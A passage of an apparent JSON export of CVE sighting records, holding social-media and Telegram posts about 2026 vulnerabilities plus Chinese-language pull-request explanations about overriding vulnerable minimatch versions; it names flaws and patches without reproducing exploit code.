\u8f83\u4f4e\uff1a\u5305\u5185\u5dee\u5f02\u672a\u663e\u793a\u65b0\u589e\u4f9d\u8d56\uff0c\u4f46\u5e94\u4f7f\u7528\u4ed3\u5e93\u6807\u51c6\u5305\u7ba1\u7406\u5668\u786e\u8ba4\u9501\u6587\u4ef6\u53ef\u7a33\u5b9a\u91cd\u73b0\u3002 |\n| \u5185\u90e8\u6e90\u53ef\u7528\u6027 | \u65b0\u9501\u5b9a\u5305\u6765\u81ea AzureNotebooksEntry \u5185\u90e8 npm registry\uff1b\u6784\u5efa\u73af\u5883\u5fc5\u987b\u6709\u6743\u9650\u8bbf\u95ee\u5bf9\u5e94 5.1.9 \u5236\u54c1\u3002 | \u8f83\u4f4e\uff1a\u65e7\u7248\u672c\u4e5f\u4f7f\u7528\u540c\u4e00\u5185\u90e8\u6e90\uff0c\u4f46\u5206\u6790\u5305\u4e0d\u5305\u542b\u5b9e\u9645\u5b89\u88c5\u9a8c\u8bc1\u3002 |\n| \u8fd0\u884c\u65f6\u5f71\u54cd\u8fb9\u754c | \u53ef\u89c1\u53d7\u5f71\u54cd\u8def\u5f84\u4e3b\u8981\u4f4d\u4e8e `glob` \u548c `mocha` \u7b49\u5f00\u53d1\u5de5\u5177\u94fe\uff0c\u4f46\u5206\u6790\u5305\u672a\u63d0\u4f9b\u5b8c\u6574\u4f9d\u8d56\u7528\u9014\u8bf4\u660e\u3002 | \u8f83\u4f4e\uff1a\u4e0d\u80fd\u4ec5\u51ed\u7247\u6bb5\u65ad\u8a00\u6240\u6709\u5f15\u7528\u90fd\u53ea\u5728\u6d4b\u8bd5\u6216\u6784\u5efa\u65f6\u6267\u884c\u3002 |\n\n## \u5f71\u54cd\u5206\u6790\n\n### \u5b89\u5168\u6027\n\n\u6838\u5fc3\u6536\u76ca\u662f\u907f\u514d\u4e24\u4e2a\u5b89\u88c5\u6839\u76ee\u5f55\u7ee7\u7eed\u89e3\u6790\u5230\u5305\u5185\u663e\u793a\u7684 `minimatch` 5.1.0 \u548c 5.1.6\uff0c\u4ece\u4f9d\u8d56\u5c42\u7f13\u89e3 CVE-2026-27903 / CVE-2026-27904 \u5bf9\u5e94\u7684 ReDoS \u544a\u8b66\u3002PR \u63cf\u8ff0\u79f0\u6b64\u6b21\u53d8\u66f4\u7528\u4e8e\u4fee\u590d 4 \u4e2a Component Governance \u544a\u8b66\u3002\n\n### \u529f\u80fd\u884c\u4e3a\n\n\u6ca1\u6709\u5e94\u7528\u4e1a\u52a1\u903b\u8f91\u3001API\u3001\u914d\u7f6e\u683c\u5f0f\u6216\u6570\u636e\u6a21\u578b\u7684\u76f4\u63a5\u4fee\u6539\u3002\u6f5c\u5728\u884c\u4e3a\u53d8\u5316\u96c6\u4e2d\u5728\u4f9d\u8d56 `minimatch` \u7684\u6587\u4ef6\u8def\u5f84\u5339\u914d\u64cd\u4f5c\uff0c\u5c24\u5176\u662f `glob` \u548c\u6d4b\u8bd5\u5de5\u5177 `mocha` \u7684\u4f20\u9012\u8c03\u7528\u3002\u7531\u4e8e\u662f\u540c\u4e00\u4e3b\u7248\u672c\u5185\u7684\u66f4\u65b0\uff0c\u9884\u671f\u517c\u5bb9\u6027\u5f71\u54cd\u6709\u9650\uff0c\u4f46\u4ecd\u9700\u901a\u8fc7\u73b0\u6709\u6d4b\u8bd5\u786e\u8ba4\u590d\u6742 glob \u6a21\u5f0f\u7684\u884c\u4e3a\u6ca1\u6709\u56de\u5f52\u3002\n\n### \u6784\u5efa\u4e0e\u5f00\u53d1\u6d41\u7a0b\n\n\u4e24\u4e2a\u5b50\u9879\u76ee\u7684\u4f9d\u8d56\u89e3\u6790\u7ed3\u679c\u53d1\u751f\u53d8\u5316\u3002\u4f7f\u7528\u9501\u6587\u4ef6\u5b89\u88c5\u65f6\u4f1a\u83b7\u53d6 5.1.9\uff1b\u5220\u9664\u6216\u91cd\u65b0\u751f\u6210\u9501\u6587\u4ef6\u65f6\uff0c`^5.1.8` \u53ef\u80fd\u9009\u62e9\u66f4\u65b0\u7684\u517c\u5bb9 5.x \u7248\u672c\u3002\u793a\u4f8b\u9879\u76ee\u540c\u65f6\u7ef4\u62a4 `resolutions` \u548c `overrides`\uff0c\u9700\u8981\u786e\u4fdd\u4ed3\u5e93\u5b9e\u9645\u5b89\u88c5\u547d\u4ee4\u4e0d\u4f1a\u5ffd\u7565\u6216\u62d2\u7edd\u5176\u4e2d\u4efb\u4e00\u914d\u7f6e\u3002\n\n### \u90e8\u7f72\u4e0e\u8fd0\u7ef4\n\n\u5206\u6790\u5305\u6ca1\u6709\u663e\u793a\u90e8\u7f72\u6e05\u5355\u3001\u670d\u52a1\u914d\u7f6e\u6216\u57fa\u7840\u8bbe\u65bd\u53d8\u66f4\u3002\u82e5\u8fd9\u4e9b\u4f9d\u8d56\u4ec5\u7528\u4e8e\u5f00\u53d1\u4e0e\u6d4b\u8bd5\uff0c\u5219\u751f\u4ea7\u90e8\u7f72\u5f71\u54cd\u5e94\u8f83\u5c0f\uff1b\u4f46\u5305\u5185\u4fe1\u606f\u4e0d\u8db3\u4ee5\u786e\u8ba4\u6700\u7ec8\u751f\u4ea7\u5236\u54c1\u662f\u5426\u5305\u542b\u76f8\u5173\u4f9d\u8d56\uff0c\u56e0\u6b64\u4e0d\u5e94\u65ad\u8a00\u751f\u4ea7\u73af\u5883\u5b8c\u5168\u4e0d\u53d7\u5f71\u54cd\u3002\n\n## \u5dee\u5f02\u8986\u76d6\u8303\u56f4\n\n\u5206\u6790\u5305\u62a5\u544a\uff1a\n\n- `diffMethod` \u4e3a `git-local`\u3002\n- \u603b\u5dee\u5f02\u5927\u5c0f\u4e3a 8,593 \u5b57\u8282\uff0c\u4f4e\u4e8e\u5305\u4e2d\u8bb0\u5f55\u7684\u603b\u4e0a\u9650 524,288 \u5b57\u8282\u3002\n- 4 \u4e2a\u53d8\u66f4\u6587\u4ef6\u5747\u5305\u542b\u5dee\u5f02\uff0c\u4e14\u6bcf\u4e2a\u6587\u4ef6\u7684 `truncated` \u5747\u4e3a `false`\u3002\n- \u5168\u5c40 `diffTruncated` \u4e3a `false`\u3002\n- `errors` \u548c `warnings` \u5747\u4e3a\u7a7a\u3002\n\n\u56e0\u6b64\uff0c\u672c\u8bf4\u660e\u8986\u76d6\u4e86\u5206\u6790\u5305\u4e2d\u63d0\u4f9b\u7684\u5168\u90e8 4 \u4e2a\u6587\u4ef6\u5dee\u5f02\uff0c\u6ca1\u6709\u5df2\u77e5\u7684\u622a\u65ad\u6587\u4ef6\u3002\u8be5\u7ed3\u8bba\u4ec5\u9002\u7528\u4e8e\u5bfc\u51fa\u7684 PR \u5dee\u5f02\u5185\u5bb9\uff1b\u5206\u6790\u5305\u672a\u5305\u542b\u5b8c\u6574\u6587\u4ef6\u3001\u5b8c\u6574\u4f9d\u8d56\u6811\u3001\u6d4b\u8bd5\u65e5\u5fd7\u3001\u6d41\u6c34\u7ebf\u7ed3\u679c\u6216\u8fd0\u884c\u65f6\u8c03\u7528\u8def\u5f84\uff0c\u56e0\u6b64\u672c\u6587\u672a\u5bf9\u8fd9\u4e9b\u7f3a\u5931\u5185\u5bb9\u4f5c\u8fdb\u4e00\u6b65\u65ad\u8a00\u3002\n", "creation_timestamp": "2026-08-31T00:22:43.492469Z"}, {"uuid": "3753d0cd-ea5d-458e-8377-f61db328c59f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27409", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mrv77s5gie2e", "content": "CVE-2026-27409 webba-booking-lite (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-07-30T19:44:07.582256Z"}, {"uuid": "f1ec11a4-2478-4063-a86c-be7af47c3b43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27174", "type": "seen", "source": "https://t.me/CyberDispatch/1534", "content": "Critical MajorDoMo RCE (CVE-2026-27174): Unauthenticated Remote Code Execution Analysis.", "creation_timestamp": "2026-08-30T00:00:42.343003Z"}, {"uuid": "fbb8dc93-c477-4989-a617-912f045df771", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27641", "type": "seen", "source": "Telegram/geFIdEurthJC81uvedAy7Je7bmf61756WHWGo7im76vrTZM", "content": "", "creation_timestamp": "2026-09-02T01:00:13.825135Z"}, {"uuid": "86d5a3c3-37b1-4bbc-80d3-e7bf39bd92ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27912", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3ms2d4esh4s2n", "content": "\ud83d\udccc CVE-2026-27912 - Improper authorization in Windows Kerberos allows an authorized attacker to elevate privileges over an adjacent network. https://www.cyberhub.blog/cves/CVE-2026-27912", "creation_timestamp": "2026-08-01T20:37:06.677123Z"}, {"uuid": "96305b22-841e-4ca9-8d2b-7870e19d7b67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27694", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-27694", "content": "", "creation_timestamp": "2026-05-05T04:16:28.000000Z"}, {"uuid": "0ed15bdc-fdd3-4cdc-8183-a846bdf37cc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27825", "type": "seen", "source": "https://t.me/GithubRedTeam/82101", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27825\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a romain-deperne\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-29 21:58:21\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPath Traversal in mcp-atlassian via zip extraction in upload_attachment \u2014 CVSS 9.3\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-29T22:00:04.000000Z"}, {"uuid": "882349d1-8bca-40dd-bbb3-b7429867236c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27876", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mkqcvt7zoc25", "content": "Another critical Grafana security update landed in openSUSE Leap. The RCE (CVE-2026-27876) lets attackers turn Viewer accounts into full host access. Read more -> tinyurl.com/mstzsfc3  #openSUSE", "creation_timestamp": "2026-04-30T19:10:31.384117Z"}, {"uuid": "453d350e-4078-4a1e-85f1-508a3abc900c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27483", "type": "seen", "source": "https://bsky.app/profile/exploitdb-bot.bsky.social/post/3mkzsemodad2i", "content": "\ud83d\udea8 New Exploit: MindsDB  25.9.1.1 - Path Traversal\n\ud83d\udccb CVE: CVE-2026-27483\n\ud83d\udc64 Author: thewhiteh4t\n\n\ud83d\udd17 https://www.exploit-db.com/exploits/52547\n\n#ExploitDB #InfoSec #CyberSecurity #CVE-2026-27483", "creation_timestamp": "2026-05-04T13:41:08.439406Z"}, {"uuid": "69501a29-d80c-45d4-ad2e-92b04f864d7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27778", "type": "seen", "source": "Telegram/Kpinjgfg7hU-Y0woYeGb9H2V371wI5HRa91l02rkOQqEx9k", "content": "", "creation_timestamp": "2026-05-04T07:00:11.000000Z"}, {"uuid": "1cce2d35-b780-40f6-aab3-59ffe96c3044", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27778", "type": "seen", "source": "Telegram/XcvE3DqJ3gfHbHlWBgCF8vzzdw-S4AP1Zm_7A_yYzHhyXEw", "content": "", "creation_timestamp": "2026-05-04T09:00:04.000000Z"}, {"uuid": "23b3b662-e8ad-4961-b53f-6f28e30642b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27176", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-27176.yaml", "content": "", "creation_timestamp": "2026-05-04T09:16:43.000000Z"}, {"uuid": "f56828d7-760c-485c-a712-067626ad3975", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2729", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ml3zrsedcp2c", "content": "CVE-2026-2729 - Forminator \u2013 Contact Form, Payment Form & Custom Form Builder\nCVE ID : CVE-2026-2729\n \n Published : May 5, 2026, 7:15 a.m. | 1\u00a0hour, 20\u00a0minutes ago\n \n Description : The Forminator plugin for WordPress is vulnerable to authorization bypass in all versions up to,...", "creation_timestamp": "2026-05-05T10:59:06.444885Z"}, {"uuid": "04123f72-f685-4076-a55d-5b8ad3b905bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27693", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-27693", "content": "", "creation_timestamp": "2026-05-05T04:16:28.000000Z"}, {"uuid": "04f06a94-e06b-47cc-aac7-87f24da0ddc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27960", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ml4vpud3o42r", "content": "\ud83d\udd34 CVE-2026-27960 - Critical (9.8)\n\nOpenCTI is an open source platform for managing cyber threat intelligence knowledge and observabl...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-27960/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-05T19:19:06.350327Z"}, {"uuid": "bc78cb09-e5e5-4604-8e06-423ca9105dbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27960", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3ml4vuza7cx2l", "content": "\ud83d\udd34 CVE-2026-27960 - Critical (9.8)\n\nOpenCTI is an open source platform for managing potato threat intelligence knowledge and observabl...\n\nhttps://www.themasherwire.com/vulnerability/CVE-2026-27960/\n\n#infosec #potatosecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-05T19:21:58.466972Z"}, {"uuid": "26a58964-ea7d-4c92-ae23-e4c858724b68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27960", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3ml56nbuqmt27", "content": "OpenCTI 6.6.0\uff5e6.9.12\u3067\u3001\u8a8d\u8a3c\u306a\u3057\u3067\u4efb\u610f\u306e\u30e6\u30fc\u30b6\u30fc\uff08\u7ba1\u7406\u8005\u542b\u3080\uff09\u306b\u306a\u308a\u3059\u307e\u3057\u3066API\u3092\u64cd\u4f5c\u3067\u304d\u308b\u8106\u5f31\u6027\u30026.9.13\u3067\u4fee\u6b63\u3002\nCVE-2026-27960 CVSS 9.8 | CRITICAL", "creation_timestamp": "2026-05-05T21:58:42.784054Z"}, {"uuid": "79acd93e-244a-48df-94f8-5c8b353d6b6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3ml5gyosfg526", "content": "~Watchtowr~\nA pre-auth RCE chain in Progress ShareFile Storage Zone Controller allows full system compromise.\n-\nIOCs: CVE-2026-2699, CVE-2026-2701\n-\n#RCE #ShareFile #ThreatIntel", "creation_timestamp": "2026-05-06T00:28:15.949448Z"}, {"uuid": "2f21f8db-3d0d-4744-9336-edddefdacd0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27960", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116525749377449787", "content": "\ud83d\udea9 CRITICAL: OpenCTI-Platform opencti (6.6.0 \u2013 6.9.12) hit by CVE-2026-27960 (improper authentication). Unauthenticated attackers can impersonate any user, even admin. Upgrade to 6.9.13 or disable default admin ASAP. https://radar.offseq.com/threat/cve-2026-27960-cwe-287-improper-authentication-in--0f5e78f0 #OffSeq #Vuln #CVE202627960", "creation_timestamp": "2026-05-06T04:30:31.037234Z"}, {"uuid": "b5ad8bf0-bab8-4239-bd67-1e0ff3d73ec1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27960", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3ml5ujwaelp2l", "content": "OpenCTI-Platform opencti (6.6.0 \u2013 6.9.12) faces CRITICAL auth flaw \u2014 attackers can impersonate any user, incl. admin. Patch to 6.9.13 or disable admin now! \ud83d\udd12 https://radar.offseq.com/threat/cve-2026-27960-cwe-287-improper-authentication-in--0f5e78f0 #OffSeq #Cybersecurity #CVE202627960", "creation_timestamp": "2026-05-06T04:30:33.642960Z"}, {"uuid": "50614674-0651-4493-9fe4-4940d1e5f56c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27436", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mrx3kxv2272u", "content": "CVE-2026-27436 business-profile (CVSS Score 7.2) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-07-31T13:44:07.303273Z"}, {"uuid": "4d6d2312-c688-4a1d-8090-5521650535d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27140", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3ml6w2j5p2y2b", "content": "\ud83d\udd17 CVE : CVE-2016-1000027, CVE-2024-12798, CVE-2026-23949, CVE-2026-24049, CVE-2026-27140, CVE-2026-32280, CVE-2026-32281, CVE-2026-32282, CVE-2026-32283, CVE-2026-32285, CVE-2026-32288, CVE-2026-32289, CVE-2026-33810, CVE-2026-34040, CVE-2026-39883", "creation_timestamp": "2026-05-06T14:30:22.929807Z"}, {"uuid": "68483f60-6056-4836-a11e-67103da1fd68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27135", "type": "seen", "source": "https://bsky.app/profile/Ubuntu.activitypub.awakari.com.ap.brid.gy/post/3ml7t3jtjacy2", "content": "Ubuntu 26.04 LTS nghttp2 Critical Crash DoS USN-8233-2 CVE-2026-27135 nghttp2 could be made to crash if it received specially crafted network traffic.\n\n#Ubuntu #Linux #Distribution #- #Security #Advisories\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-06T23:10:00.488252Z"}, {"uuid": "cc4c97a5-eee5-44ee-a212-7d2fa6aafcc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27944", "type": "seen", "source": "https://t.me/GithubRedTeam/83124", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27944\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a jake-young-dev\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-06 22:59:29\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nAn educational deep-dive into CVE-2026-27944\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-06T23:00:05.000000Z"}, {"uuid": "4f547b22-a603-4a09-a61d-8236e787cc5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27060", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mrxcbkstiw2u", "content": "CVE-2026-27060 armember (CVSS Score 7.5) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-07-31T15:44:11.009740Z"}, {"uuid": "35d31492-d4da-40ce-bb06-1b595e37d7f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27636", "type": "seen", "source": "https://t.me/CyberDispatch/919", "content": "New vulnerabilities show up every week, and the window between disclosure and exploitation keeps getting shorter. The flaws below are this week's most critical \u2014 high-severity, widely used software, or already drawing attention from the security community.\n\nCheck these first, patch what applies, and don't wait on the ones marked urgent \u2014 CVE-2026-2796 (Mozilla Firefox), CVE-2026-21385 (Qualcomm), CVE-2026-2256 (MS-Agent), CVE-2026-26198 (Ormar), CVE-2026-27966 (langflow), CVE-2025\u201364712 (Unstructured.io), CVE-2026-24009 (Docling), CVE-2026-23600 (HPE AutoPass License Server), CVE-2026-27636, CVE-2026-28289 (aka Mail2Shell) (FreeScout), CVE-2025-67736 (FreePBX), CVE-2025-34288 (Nagios XI), CVE-2025-14500 (IceWarp), CVE-2026-20079 (Cisco Secure Firewall Management Center), CVE-2025-13476 (Viber app for Android), CVE-2026-3336, CVE-2026-3337, CVE-2026-3338 (Amazon AWS-LC), CVE-2026-25611 (MongoDB), CVE-2026-3536, CVE-2026-3537, CVE-2026-3538 (Google Chrome), CVE-2026-27970 (Angular), CVE-2026-29058 (AVideo) a privilege escalation flaw in IPVanish VPN for macOS (no CVE), and and a remote code execution vulnerability in Ghost CMS (no CVE).", "creation_timestamp": "2026-08-29T20:00:18.986413Z"}, {"uuid": "0886fa63-483b-4e99-aa66-6a782090e04e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27904", "type": "seen", "source": "https://gist.github.com/djlan/ef21bf2701462062118b04dbb13dc3f3", "content": "# PR \u89e3\u91ca: [SECURITY][SFI] Resolve Vulnerability in minimatch (CVE-2026-26996)\n\n\u8be5 PR \u901a\u8fc7 pnpm \u7248\u672c\u8986\u76d6\u7edf\u4e00\u66ff\u6362\u5b58\u5728\u6f0f\u6d1e\u7684\u65e7\u7248 `minimatch`\uff0c\u4ee5\u6d88\u9664\u7ec4\u4ef6\u6cbb\u7406\u544a\u8b66\uff0c\u4f46\u8986\u76d6\u89c4\u5219\u4e5f\u53ef\u80fd\u5f71\u54cd\u539f\u672c\u4f9d\u8d56\u8f83\u65b0\u4e3b\u7248\u672c\u7684\u5305\u3002\n\n**PR \u94fe\u63a5**: https://dev.azure.com/msdata/A365/_git/vscode-trident/pullrequest/2175870\n**\u4f5c\u8005**: Agency\n**\u72b6\u6001**: abandoned\n**\u5206\u652f**: `copilot/api-690bd71d-40ef9c6a` \u2192 `main`\n**\u53d8\u66f4\u7edf\u8ba1**: 3 files changed, +18/-16 lines\uff08\u539f\u59cb diff \u4ec5\u5c55\u793a 2 \u4e2a\u6587\u4ef6\uff09\n\n## \u76ee\u5f55\n- [\u53d8\u66f4\u6982\u89c8](#\u53d8\u66f4\u6982\u89c8)\n- [\u5f71\u54cd\u5206\u6790](#\u5f71\u54cd\u5206\u6790)\n\n---\n\n## \u53d8\u66f4\u6982\u89c8\n\n### 1. \u4f9d\u8d56\u5b89\u5168\u7b56\u7565\n\n**\u76ee\u7684**: \u5728\u4e0d\u9010\u4e00\u5347\u7ea7\u6240\u6709\u4e0a\u6e38\u4f9d\u8d56\u7684\u60c5\u51b5\u4e0b\uff0c\u901a\u8fc7\u5305\u7ba1\u7406\u5668\u7684\u96c6\u4e2d\u8986\u76d6\u673a\u5236\uff0c\u5c06\u4f4e\u4e8e\u5b89\u5168\u7248\u672c\u7684 `minimatch` \u7edf\u4e00\u89e3\u6790\u5230 3.1.4\uff0c\u5feb\u901f\u5173\u95ed CVE-2026-26996\u3001CVE-2026-27903 \u548c CVE-2026-27904 \u5bf9\u5e94\u7684\u7ec4\u4ef6\u6cbb\u7406\u544a\u8b66\u3002\n\n**\u6d89\u53ca\u6587\u4ef6**:\n- [package.json](https://dev.azure.com/msdata/A365/_git/vscode-trident/pullrequest/2175870?path=/package.json&_a=files) \u2014 \u5728 pnpm overrides \u4e2d\u589e\u52a0 `minimatch` \u7684\u5b89\u5168\u7248\u672c\u7ea6\u675f\u3002\n\n**\u5173\u952e\u53d8\u66f4**:\n1. **\u96c6\u4e2d\u4fee\u590d\u6613\u53d7\u653b\u51fb\u7248\u672c**: \u65b0\u589e `minimatch@<3.1.4` \u5230 `3.1.4` \u7684\u8986\u76d6\u89c4\u5219\uff0c\u4f7f\u4f9d\u8d56\u6811\u4e2d\u547d\u4e2d\u8be5\u8303\u56f4\u7684\u65e7\u7248\u672c\u4e0d\u518d\u7ee7\u7eed\u4f7f\u7528 3.1.2\uff0c\u4ece\u6839\u6e90\u4e0a\u7edf\u4e00\u5b89\u5168\u57fa\u7ebf\uff0c\u800c\u4e0d\u662f\u4ec5\u4fee\u590d\u67d0\u4e00\u4e2a\u76f4\u63a5\u4f9d\u8d56\u3002\n2. **\u964d\u4f4e\u4e0a\u6e38\u5347\u7ea7\u6210\u672c**: \u8be5\u65b9\u6848\u65e0\u9700\u7b49\u5f85 ESLint\u3001glob\u3001secretlint \u7b49\u591a\u4e2a\u95f4\u63a5\u4f9d\u8d56\u5206\u522b\u53d1\u5e03\u5347\u7ea7\uff0c\u53ef\u66f4\u5feb\u54cd\u5e94\u5b89\u5168\u544a\u8b66\uff0c\u5e76\u4fdd\u6301\u73b0\u6709\u76f4\u63a5\u4f9d\u8d56\u7248\u672c\u57fa\u672c\u4e0d\u53d8\u3002\n3. **\u56fa\u5b9a\u4fee\u590d\u7248\u672c**: \u4f7f\u7528\u7cbe\u786e\u7248\u672c 3.1.4 \u53ef\u4fdd\u8bc1\u5b89\u88c5\u7ed3\u679c\u53ef\u590d\u73b0\uff0c\u4f46\u540e\u7eed\u5b89\u5168\u8865\u4e01\u4e0d\u4f1a\u81ea\u52a8\u8fdb\u5165\uff0c\u9700\u8981\u6301\u7eed\u7ef4\u62a4\u8986\u76d6\u89c4\u5219\u3002\n\n[\u2191 \u8fd4\u56de\u76ee\u5f55](#\u76ee\u5f55)\n\n---\n\n### 2. \u4f9d\u8d56\u9501\u5b9a\u4e0e\u4f20\u9012\u4f9d\u8d56\u6536\u655b\n\n**\u76ee\u7684**: \u5c06\u58f0\u660e\u7684\u5b89\u5168\u8986\u76d6\u89c4\u5219\u843d\u5b9e\u5230\u5b9e\u9645\u5b89\u88c5\u56fe\u4e2d\uff0c\u786e\u4fdd\u672c\u5730\u3001CI \u548c\u53d1\u5e03\u73af\u5883\u5747\u89e3\u6790\u5230\u4e00\u81f4\u7684 `minimatch` 